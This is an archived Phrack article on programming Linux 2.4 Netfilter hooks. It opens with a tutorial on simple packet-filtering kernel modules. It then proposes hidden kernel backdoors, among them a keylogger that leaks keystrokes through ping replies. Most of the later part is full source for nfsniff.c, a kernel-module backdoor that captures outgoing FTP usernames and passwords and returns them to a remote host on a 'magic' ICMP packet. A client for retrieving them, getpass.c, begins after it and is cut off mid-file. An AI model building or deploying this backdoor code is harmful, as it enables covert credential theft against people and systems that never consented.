💾 Archived View for aphrack.org › issues › phrack61 › 13.gmi captured on 2022-03-01 at 15:52:53. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f |=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=| |=-----------------------------------------------------------------------=| |=------------------=[ bioforge <alkerr@yifan.net> ]=--------------------=| Table of Contents 1 - Introduction 1.1 - What this document is 1.2 - What this document is not 2 - The various Netfilter hooks and their uses 2.1 - The Linux kernel's handling of packets 2.2 - The Netfilter hooks for IPv4 3 - Registering and unregistering Netfilter hooks 4 - Packet filtering operations with Netfilter 4.1 - A closer look at hook functions 4.2 - Filtering by interface 4.3 - Filtering by address 4.4 - Filtering by TCP port 5 - Other possibilities for Netfilter hooks 5.1 - Hidden backdoor daemons 5.2 - Kernel based FTP password sniffer 5.2.1 - The code... nfsniff.c 5.2.2 - getpass.c 6 - Hiding network traffic from Libpcap 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap 6.2 - Wrapping the cloak around the dagger 7 - Conclusion A - Light-Weight Fire Wall A.1 - Overview A.2 - The source... lwfw.c A.3 - lwfw.h B - Code for section 6 --[ 1 - Introduction This article describes how quirks (not necessarily weaknesses) in the Linux network stack can be used for various purposes, nefarious or otherw- ise. Presented here will be a discussion on using seemingly legitimate Netfilter hooks for backdoor communications and also a technique to hide such traffic from a Libpcap based sniffer running on the local machine. Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes such network tricks as packet filtering, network address translation (NAT) and connection tracking possible through the use of various hooks in the kernel's network code. These hooks are places that kernel code, either statically built or in the form of a loadable module, can register functions to be called for specific network events. An example of such an event is the reception of a packet. ----[ 1.1 - What this document is This document discusses how a module writer can make use of the Netfilter hooks for whatever purposes and also how network traffic can be hidden from a Libpcap application. Although Linux 2.4 supports hooks for IPv4, IPv6 and DECnet, only IPv4 will be discussed in this document. However, most of the IPv4 content can be applied to the other protocols. As an aide to teaching, a working kernel module that provides basic packet filtering is provided in Appendix A. Any development/experimentation done for this document was done on an Intel machine running Linux 2.4.5. Testing the behaviour of Netfilter hooks was done using the loopback device, an Ethernet device and a modem Point-to-Point interface. This document is also written for my benefit in an attempt to fully understand Netfilter. I do not guarantee that any code accompanying this document is 100% error free but I have tested all code provided here. I have suffered the kernel faults so hopefully you won't have to. Also, I do not accept any responsibility for damages that may occur through following this document. It is expected that the reader be comfortable with the C programming language and have some experience with Loadable Kernel Modules. If I have made a mistake in something presented here then please let me know. I am also open to suggestions on either improving this document or other nifty Netfilter tricks in general. ----[ 1.2 - What this document is not This document is not a complete ins-and-outs reference for Netfilter. It is also *not* a reference for the iptables command. If you want to learn more about the iptables command, consult the man pages. So let's get started with an introduction to using Netfilter... --[ 2 - The various Netfilter hooks and their uses ----[ 2.1 - The Linux kernel's handling of packets As much as I would love to go into the gory details of Linux's handling of packets and the events preceeding and following each Netfilter hook, I won't. The simple reason is that Harald Welte has already written a nice document on the subject, his Journey of a Packet Through the Linux 2.4 Network Stack document. To learn more on Linux's handling of packets, I strongly suggest that you read this document as well. For now, just understand that as a packet moves through the Linux kernel's network stack it crosses several hook locations where packets can be analysed and kept or discarded. These are the Netfilter hooks. ------[ 2.2 The Netfilter hooks for IPv4 Netfilter defines five hooks for IPv4. The declaration of the symbols for these can be found in linux/netfilter_ipv4.h. These hooks are displayed in the table below: Table 1: Available IPv4 hooks Hook Called NF_IP_PRE_ROUTING After sanity checks, before routing decisions. NF_IP_LOCAL_IN After routing decisions if packet is for this host. NF_IP_FORWARD If the packet is destined for another interface. NF_IP_LOCAL_OUT For packets coming from local processes on their way out. NF_IP_POST_ROUTING Just before outbound packets "hit the wire". The NF_IP_PRE_ROUTING hook is called as the first hook after a packet has been received. This is the hook that the module presented later will utilise. Yes the other hooks are very useful as well, but for now we will focus only on NF_IP_PRE_ROUTING. After hook functions have done whatever processing they need to do with a packet they must return one of the predefined Netfilter return codes. These codes are: Table 2: Netfilter return codes Return Code Meaning NF_DROP Discard the packet. NF_ACCEPT Keep the packet. NF_STOLEN Forget about the packet. NF_QUEUE Queue packet for userspace. NF_REPEAT Call this hook function again. The NF_DROP return code means that this packet should be dropped completely and any resources allocated for it should be released. NF_ACCEPT tells Netfilter that so far the packet is still acceptable and that it should move to the next stage of the network stack. NF_STOLEN is an interesting one because it tells Netfilter to "forget" about the packet. What this tells Netfilter is that the hook function will take processing of this packet from here and that Netfilter should drop all processing of it. This does not mean, however, that resources for the packet are released. The packet and it's respective sk_buff structure are still valid, it's just that the hook function has taken ownership of the packet away from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE really does so for now I won't discuss it. The last return value, NF_REPEAT requests that Netfilter calls the hook function again. Obviously one must be careful using NF_REPEAT so as to avoid an endless loop. --[ 3 - Registering and unregistering Netfilter hooks Registration of a hook function is a very simple process that revolves around the nf_hook_ops structure, defined in linux/netfilter.h. The definition of this structure is as follows: struct nf_hook_ops { struct list_head list; /* User fills in from here down. */ nf_hookfn *hook; int pf; int hooknum; /* Hooks are ordered in ascending priority. */ int priority; }; The list member of this structure is used to maintain the lists of Netfilter hooks and has no importance for hook registration as far as users are concerned. hook is a pointer to a nf_hookfn function. This is the function that will be called for the hook. nf_hookfn is defined in linux/netfilter.h as well. The pf field specifies a protocol family. Valid protocol families are available from linux/socket.h but for IPv4 we want to use PF_INET. The hooknum field specifies the particular hook to install this function for and is one of the values listed in table 1. Finally, the priority field specifies where in the order of execution this hook function should be placed. For IPv4, acceptable values are defined in linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the purposes of demonstration modules we will be using NF_IP_PRI_FIRST. Registration of a Netfilter hook requires using a nf_hook_ops structure with the nf_register_hook() function. nf_register_hook() takes the address of an nf_hook_ops structure and returns an integer value. However, if you actually look at the code for the nf_register_hook() function in net/core/netfilter.c, you will notice that it only ever returns a value of zero. Provided below is example code that simply registers a function that will drop all packets that come in. This code will also show how the Netfilter return values are interpreted. Listing 1. Registration of a Netfilter hook /* Sample code to install a Netfilter hook function that will * drop all incoming packets. */ #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> /* This is the structure we shall use to register our function */ static struct nf_hook_ops nfho; /* This is the hook function itself */ unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_DROP; /* Drop ALL packets */ } /* Initialisation routine */ int init_module() { /* Fill in our hook structure */ nfho.hook = hook_func; /* Handler function */ nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */ nf_register_hook(&nfho); return 0; } /* Cleanup routine */ void cleanup_module() { nf_unregister_hook(&nfho); } That's all there is to it. From the code given in listing 1 you can see that unregistering a Netfilter hook is a simple matter of calling nf_unregister_hook() with the address of the same structure you used to register the hook. --[ 4 - Basic packet filtering techniques with Netfilter ----[ 4.1 - A closer look at hook functions Now its time to start looking at what data gets passed into hook functions and how that data an be used to make filtering decisions. So let's look more closely at the prototype for nf_hookfn functions. The prototype is given in linux/netfilter.h as follows: typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); The first argument to nf_hookfn functions is a value specifying one of the hook types given in table 1. The second argument is more interesting. It is a pointer to a pointer to a sk_buff structure, the structure used by the network stack to describe packets. This structure is defined in linux/skbuff.h and due to its size, I shall only highlight some of it's more interesting fields here. Possibly the most useful fields out of sk_buff structures are the three unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet or RAW). The names of these unions are h, nh and mac respectively. These unions contain several structures, depending on what protocols are in use in a particular packet. One should note that the transport header and network header may very well point to the same location in memory. This is the case for TCP packets where h and nh are both considered as pointers to IP header structures. This means that attempting to get a value from h->th thinking it's pointing to the TCP header will result in false results because h->th will actually be pointing to the IP header, just like nh->iph. Other fields of immediate interest are the len and data fields. len specifies the total length of the packet data beginning at data. So now we know how to access individual protocol headers and the packet data itself from a sk_buff structure. What other interesting bits of information are available to Netfilter hook functions? The two arguments that come after skb are pointers to net_device structures. net_device structures are what the Linux kernel uses to describe network interfaces of all sorts. The first of these structures, in, is used to describe the interface the packet arrived on. Not surprisingly, the out structure describes the interface the packet is leaving on. It is important to realise that usually only one of these structures will be provided. For instance, in will only be provided for the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I haven't tested which of these structures are available for the NF_IP_FORWARD hook but if you make sure the pointers are non-NULL before attempting to dereference them you should be fine. Finally, the last item passed into a hook function is a function pointer called okfn that takes a sk_buff structure as its only argument and returns an integer. I'm not too sure on what this function does. Looking in net/core/netfilter.c there are two places where this okfn is called. These two places are in the functions nf_hook_slow() and nf_reinject() where at a certain place this function is called on a return value of NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn please let me know. Now that we've looked at the most interesting and useful bits of informa- tion that our hook functions receive, it's time to look at how we can use that information to filter packets in a variety of ways. ----[ 4.2 - Filtering by interface This would have to be the simplest filtering technique we can do. Remember those net_device structures our hook function received? Using the name field from the relevant net_device structure allows us to drop packets depending on their source interface or destination interface. To drop all packets that arrive on interface eth0 all one has to do is compare the value of in->name with "eth0". If the names match then the hook function simply returns NF_DROP and the packet is destroyed. It's as easy as that. Sample code to do this is provided in listing 2 below. Note that the Light-Weight FireWall module will provide simple examples of all the filtering methods presented here. It also includes an IOCTL interface and application to change its behaviour dynamically. Listing 2. Filtering packets based on their source interface /* Sample code to install a Netfilter hook function that will * drop all incoming packets on an interface we specify */ #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> /* This is the structure we shall use to register our function */ static struct nf_hook_ops nfho; /* Name of the interface we want to drop packets from */ static char *drop_if = "lo"; /* This is the hook function itself */ unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { if (strcmp(in->name, drop_if) == 0) { printk("Dropped packet on %s...\n", drop_if); return NF_DROP; } else { return NF_ACCEPT; } } /* Initialisation routine */ int init_module() { /* Fill in our hook structure */ nfho.hook = hook_func; /* Handler function */ nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */ nf_register_hook(&nfho); return 0; } /* Cleanup routine */ void cleanup_module() { nf_unregister_hook(&nfho); } Now isn't that simple? Next, let's have a look at filtering based on IP addresses. ----[ 4.3 - Filtering by address As with filtering packets by their interface, filtering packets by their source or destination IP address is very simple. This time we are interested in the sk_buff structure. Now remember that the skb argument is a pointer to a pointer to a sk_buff structure. To avoid running into problems it is good practice to declare a seperate pointer to a sk_buff structure and assign the value pointed to by skb to this newly declared pointer. Like so: struct sk_buff *sb = *skb; /* Remove 1 level of indirection* / Now you only have to dereference once to access items in the structure. Obtaining the IP header for a packet is done using the network layer header from the the sk_buff structure. This header is contained in a union and can be accessed as sk_buff->nh.iph. The function in listing 3 demonstrates how to check the source IP address of a received packet against an address to deny when given a sk_buff for the packet. This code has been pulled directly from LWFW. The only difference is that the update of LWFW statistics has been removed. Listing 3. Checking source IP of a received packet unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */ ... static int check_ip_packet(struct sk_buff *skb) { /* We don't want any NULL pointers in the chain to * the IP header. */ if (!skb )return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { return NF_DROP; } return NF_ACCEPT; } Now if the source address matches the address we want to drop packets from then the packet is dropped. For this function to work as presented the value of deny_ip should be stored in Network Byte Order (Big-endian, opposite of Intel). Although it's unlikely that this function will be called with a NULL pointer for it's argument, it never hurts to be a little paranoid. Of course if an error does occur then the function will return NF_ACCEPT so that Netfilter can continue processing the packet. Listing 4 presents the simple module used to demonstrate interface based filtering changed so that it drops packets that match a particular IP address. Listing 4. Filtering packets based on their source address /* Sample code to install a Netfilter hook function that will * drop all incoming packets from an IP address we specify */ #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/ip.h> /* For IP header */ #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> /* This is the structure we shall use to register our function */ static struct nf_hook_ops nfho; /* IP address we want to drop packets from, in NB order */ static unsigned char *drop_ip = "\x7f\x00\x00\x01"; /* This is the hook function itself */ unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; if (sb->nh.iph->saddr == drop_ip) { printk("Dropped packet from... %d.%d.%d.%d\n", *drop_ip, *(drop_ip + 1), *(drop_ip + 2), *(drop_ip + 3)); return NF_DROP; } else { return NF_ACCEPT; } } /* Initialisation routine */ int init_module() { /* Fill in our hook structure */ nfho.hook = hook_func; /* Handler function */ nfho.hooknum = NF_IP_PRE_ROUTING; /* First for IPv4 */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */ nf_register_hook(&nfho); return 0; } /* Cleanup routine */ void cleanup_module() { nf_unregister_hook(&nfho); } ----[ 4.4 - Filtering by TCP port Another simple rule to implement is the filtering of packets based on their TCP destination port. This is only a bit more fiddly than checking IP addresses because we need to create a pointer to the TCP header ourselves. Remember what was discussed earlier about transport headers and network headers? Getting a pointer to the TCP header is a simple matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h) and pointing after the IP header in our packet data. Perhaps an example would help. Listing 5 presents code to check if the destination TCP port of a packet matches some port we want to drop all packets for. As with listing 3, this was taken from LWFW. Listing 5. Checking the TCP destination port of a received packet unsigned char *deny_port = "\x00\x19"; /* port 25 */ ... static int check_tcp_packet(struct sk_buff *skb) { struct tcphdr *thead; /* We don't want any NULL pointers in the chain * to the IP header. */ if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; /* Be sure this is a TCP packet first */ if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; } thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); /* Now check the destination port */ if ((thead->dest) == *(unsigned short *)deny_port) { return NF_DROP; } return NF_ACCEPT; } Very simple indeed. Don't forget that for this function to work deny_port should be in network byte order. That's it for packet filtering basics, you should have a fair understanding of how to get to the information you want for a specific packet. Now it's time to move onto more interesting stuff. --[ 5 - Other possibilities for Netfilter hooks Here I'll make some proposals for other cool stuff to do with Netfilter hooks. Section 5.1 will simply provide food for thought, while section 5.2 shall discuss and provide working code for a kernel based FTP password sniffer with remote password retrieval that really does work. It fact it works so well it scares me, and I wrote it. ----[ 5.1 - Hidden backdoor daemons Kernel module programming would have to be one of the most interesting areas of development for Linux. Writing code in the kernel means you are writing code in a place where you are limited only by your imagination. From a malicous point of view you can hide files, processes, and do all sorts of cool things that any rootkit worth its salt is capable of. Then from a not-so-malicious point of view (yes people with this point of view do exist) you can hide files, processes and do all sorts of cool things. The kernel really is a fascinating place. Now with all the power made available to a kernel level programmer, there are a lot of possibilities. Possibly one of the most interesting (and scary for system administrators) is the possibility of backdoors built right into the kernel. Afterall, if a backdoor doesn't run as a process then how do you know it's running? Of course there are ways of making your kernel cough-up such backdoors, but they are by no means as easy and simple as running ps. Now the idea of putting backdoor code into a kernel is not new. What I'm proposing here, however, is placing simple network services as kernel backdoors using, you guessed it, Netfilter hooks. If you have the necessary skills and willingness to crash your kernel in the name of experimentation, then you can construct simple but useful network services located entirely in the kernel and accessible remotely. Basically a Netfilter hook could watch incoming packets for a "magic" packet and when that magic packet is received, do something special. Results can then be sent from the Netfilter hook and the hook function can return NF_STOLEN so that the received "magic" packet goes no further. Note however, that when sending in such a fassion, outgoing packets will still be visible on the outbound Netfilter hooks. Therefore userspace is totally unaware that the magic packet ever arrived, but they can still see whatever you send out. Beware! Just because a sniffer on a compromised host can't see the packet, doesn't mean that a sniffer on an intermediate host can't see the packet. kossak and lifeline wrote an excellent article for Phrack describing how such things could be done by registering packet type handlers. Although this document deals with Netfilter hooks I still suggest reading their article (Issue 55, file 12) as it is a very interesting read with some very interesting ideas being presented. So what kind of work could a backdoor Netfilter hook do? Well, here are some suggestions: -- Remote access key-logger. Module logs keystrokes and results are sent to a remote host when that host sends a PING request. So a stream of keystroke information could be made to look like a steady (don't flood) stream of PING replies. Of course one would want to implement a simple encryption so that ASCII keys don't show themselves immediately and some alert system administrator goes "Hang on. I typed that over my SSH session before! Oh $%@T%&!". -- Various simple administration tasks such as getting lists of who is currently logged onto the machine or obtaining information about open network connections. -- Not really a backdoor as such, but a module that sits on a network perimeter and blocks any traffic suspected to come from trojans, ICMP covert channels or file sharing tools like KaZaa. -- File transfer "server". I have implemented this idea recently. The resulting LKM is hours of fun :). -- Packet bouncer. Redirects packets aimed at a special port on the backdoored host to another IP host and port and sends packets from that host back to the initiator. No process being spawned and best of all, no network socket being opened. -- Packet bouncer as described above used to communicate with critical systems on a network in a semi-covert manner. Eg. configuring routers and such. -- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save the information until a magic packet comes in asking for it. Well that's a short list of ideas. The last one will actually be discussed in more detail in the next section as it provides a nice oppurtunity to look at some more functions internal to the kernel's network code. ----[ 5.2 - Kernel based FTP password sniffer Presented here is a simple proof-of-concept module that acts as a Netfilter backdoor. This module will sniff outgoing FTP packets looking for a USER and PASS command pair for an FTP server. When a pair is found the module will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return the server's IP address and the username and password. Also provided is a quick hack that sends a magic packet, gets a reply then prints the returned information. Once a username/password pair has been read from the module it will then look for the next pair. Note that only one pair will be stored by the module at one time. Now that a brief overview has been provided, it's time to present a more detailed look at how the module does its thing. When loaded, the module's init_module() function simply registers two Netfilter hooks. The first one is used to watch incoming traffic (on NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING) the module is installed on. This is where the search and capture of FTP USER and PASS packets happens. The cleanup_module() procedure simply unregisters these two hooks. watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at this function you can see that it is very simple in operation. When a packet enters the function it is run through various checks to be sure it's an FTP packet. If it's not then a value of NF_ACCEPT is returned immediately. If it is an FTP packet then the module checks to be sure that it doesn't already have a username and password pair already queued. If it does (as signalled by have_pair being non-zero) then NF_ACCEPT is returned and the packet can finally leave the system. Otherwise, the check_ftp() procedure is called. This is where extraction of passwords actually takes place. If no previous packets have been received then the target_ip and target_port variables should be cleared. check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the beginning of the packet. Note that PASS commands will not be processed until a USER command has been processed. This prevents deadlock that occurs if for some reason a PASS command is received first and the connection breaks before USER arrives. Also, if a QUIT command arrives and only a username has been captured then things are reset so sniffing can start over on a new connection. When a USER or PASS command arrives, if the necessary sanity checks are passed then the argument to the command is copied. Just before check_ftp() finishes under normal operations, it checks to see if it now has a valid username and password string. If it does then have_pair is set and no more usernames or passwords will be grabbed until the current pair is retrieved. So far you have seen how this module installs itself and begins looking for usernames and passwords to log. Now you shall see what happens when the specially formatted "magic" packet arrives. Pay particular attention here because this is where the most problems arose during development. 16 kernel faults if I remember correctly :). When packets come into the machine with this module installed, watch_in() checks each one to see if it is a magic packet. If it does not pass the necessary requirements to be considered magic, then the packet is ignored by watch_in() who simply returns NF_ACCEPT. Notice how one of the criteria for magic packets is that they have enough room to hold the IP address and username and password strings. This is done to make sending the reply easier. A fresh sk_buff could have been allocated, but getting all of the necessary fields right can be difficult and you have to get them right! So instead of creating a new structure for our reply packet, we simply tweak the request packet's structure. To return the packet successfully, several changes need to be made. Firstly, the IP addresses are swapped around and the packet type field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING which is defined in linux/if_packet.h. The next thing to take care of is making sure any link layer headers are included. The data field of our received packet's sk_buff points after the link layer header and it is the data field that points to the beginning of packet data to be transmitted. So for interfaces that require the link layer header (Ethernet and Loopback Point-to-Point is raw) we point the data field to the mac.ethernet or mac.raw structures. To determine what type of interface this packet came in on, you can check the value of sb->dev->type where sb is a pointer to a sk_buff structure. Valid values for this field can be found in linux/if_arp.h but the most useful are given below in table 3. Table 3: Common values for interface types Type Code Interface Type ARPHRD_ETHER Ethernet ARPHRD_LOOPBACK Loopback device ARPHRD_PPP Point-to-point (eg. dialup) The last thing to be done is actually copy the data we want to send in our reply. It's now time to send the packet. The dev_queue_xmit() function takes a pointer to a sk_buff structure as it's only argument and returns a negative errno code on a nice failure. What do I mean by nice failure? Well, if you give dev_queue_xmit() a badly constructed socket buffer then you will get a not-so-nice failure. One that comes complete with kernel fault and kernel stack dump information. See how failures can be splt into two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return NF_DROP if you have called dev_queue_xmit()! If you do then you will quickly get a nasty kernel fault. This is because dev_queue_xmit() will free the passed in socket buffer and Netfilter will attempt to do the same with an NF_DROPped packet. Well that's enough discussion on the code, it's now time to actually see the code. ------[ 5.2.1 - The code... nfsniff.c <++> nfsniff/nfsniff.c /* Simple proof-of-concept for kernel-based FTP password sniffer. * A captured Username and Password pair are sent to a remote host * when that host sends a specially formatted ICMP packet. Here we * shall use an ICMP_ECHO packet whose code field is set to 0x5B * *AND* the packet has enough * space after the headers to fit a 4-byte IP address and the * username and password fields which are a max. of 15 characters * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */ /* Written by bioforge, March 2003 */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/icmp.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define MAGIC_CODE 0x5B #define REPLY_SIZE 36 #define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \ - sizeof(struct iphdr) \ - sizeof(struct icmphdr)) /* THESE values are used to keep the USERname and PASSword until * they are queried. Only one USER/PASS pair will be held at one * time and will be cleared once queried. */ static char *username = NULL; static char *password = NULL; static int have_pair = 0; /* Marks if we already have a pair */ /* Tracking information. Only log USER and PASS commands that go to the * same IP address and TCP port. */ static unsigned int target_ip = 0; static unsigned short target_port = 0; /* Used to describe our Netfilter hooks */ struct nf_hook_ops pre_hook; /* Incoming */ struct nf_hook_ops post_hook; /* Outgoing */ /* Function that looks at an sk_buff that is known to be an FTP packet. * Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields */ static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); data = (char *)((int)tcp + (int)(tcp->doff * 4)); /* Now, if we have a username already, then we have a target_ip. * Make sure that this packet is destined for the same host. */ if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return; /* Now try to see if this is a USER or PASS packet */ if (strncmp(data, "USER ", 5) == 0) { /* Username */ data += 5; if (username) return; while (*(data + i) != '\r' && *(data + i) != '\n' && *(data + i) != '\0' && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = '\0'; /* NULL terminate */ } else if (strncmp(data, "PASS ", 5) == 0) { /* Password */ data += 5; /* If a username hasn't been logged yet then don't try logging * a password */ if (username == NULL) return; if (password) return; while (*(data + i) != '\r' && *(data + i) != '\n' && *(data + i) != '\0' && i < 15) { len++; i++; } if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = '\0'; /* NULL terminate */ } else if (strncmp(data, "QUIT", 4) == 0) { /* Quit command received. If we have a username but no password, * clear the username and reset everything */ if (have_pair) return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0; return; } } else { return; } if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source; if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ // if (have_pair) // printk("Have password pair! U: %s P: %s\n", username, password); } /* Function called as the POST_ROUTING (last) hook. It will check for * FTP traffic then search that traffic for USER and PASS commands. */ static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp; /* Make sure this is a TCP packet first */ if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; /* Nope, not TCP */ tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4)); /* Now check to see if it's an FTP packet */ if (tcp->dest != htons(21)) return NF_ACCEPT; /* Nope, not FTP */ /* Parse the FTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) check_ftp(sb); /* We are finished with the packet, let it go on its way */ return NF_ACCEPT; } /* Procedure that watches incoming ICMP traffic for the "Magic" packet. * When that is received, we tweak the skb structure to send a reply * back to the requesting host and tell Netfilter that we stole the * packet. */ static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */ /* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT; /* Is this an ICMP packet? */ if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4); /* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; } /* Okay, matches our checks for "Magicness", now we fiddle with * the sk_buff to insert the IP address, and username/password pair, * swap IP source and destination addresses and ethernet addresses * if necessary and then transmit the packet from here and tell * Netfilter we stole it. Phew... */ taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr; sb->pkt_type = PACKET_OUTGOING; switch (sb->dev->type) { case ARPHRD_PPP: /* No fiddling needs doing */ break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; /* Move the data pointer to point to the link layer header */ sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN); break; } }; /* Now copy the IP address, then Username, then password into packet */ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); /* This is where things will die if they are going to. * Fingers crossed... */ dev_queue_xmit(sb); /* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0; // printk("Password retrieved\n"); return NF_STOLEN; } int init_module() { pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_IP_PRE_ROUTING; post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_IP_POST_ROUTING; nf_register_hook(&pre_hook); nf_register_hook(&post_hook); return 0; } void cleanup_module() { nf_unregister_hook(&post_hook); nf_unregister_hook(&pre_hook); if (password) kfree(password); if (username) kfree(username); } <--> ------[ 5.2.2 - getpass.c <++> nfsniff/getpass.c /* getpass.c - simple utility to get username/password pair from * the Netfilter backdoor FTP sniffer. Very kludgy, but effective. * Mostly stripped from my source for InfoPig. * * Written by bioforge - March 2003 */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #ifndef __USE_BSD # define __USE_BSD /* We want the proper headers */ #endif # include <netinet/ip.h> #include <netinet/ip_icmp.h> /* Function prototypes */ static unsigned short checksum(int numwords, unsigned short *buff); int main(int argc, char *argv[]) { unsigned char dgram[256]; /* Plenty for a PING datagram */ unsigned char recvbuff[256]; struct ip *iphead = (struct ip *)dgram; struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0; int one = 1; int *ptr_one = &one; if (argc < 3) { fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]); exit(1); } /* Get a socket */ if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno)); exit(1); } /* set the HDR_INCL option on the socket */ if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn't set HDRINCL option! %s\n", 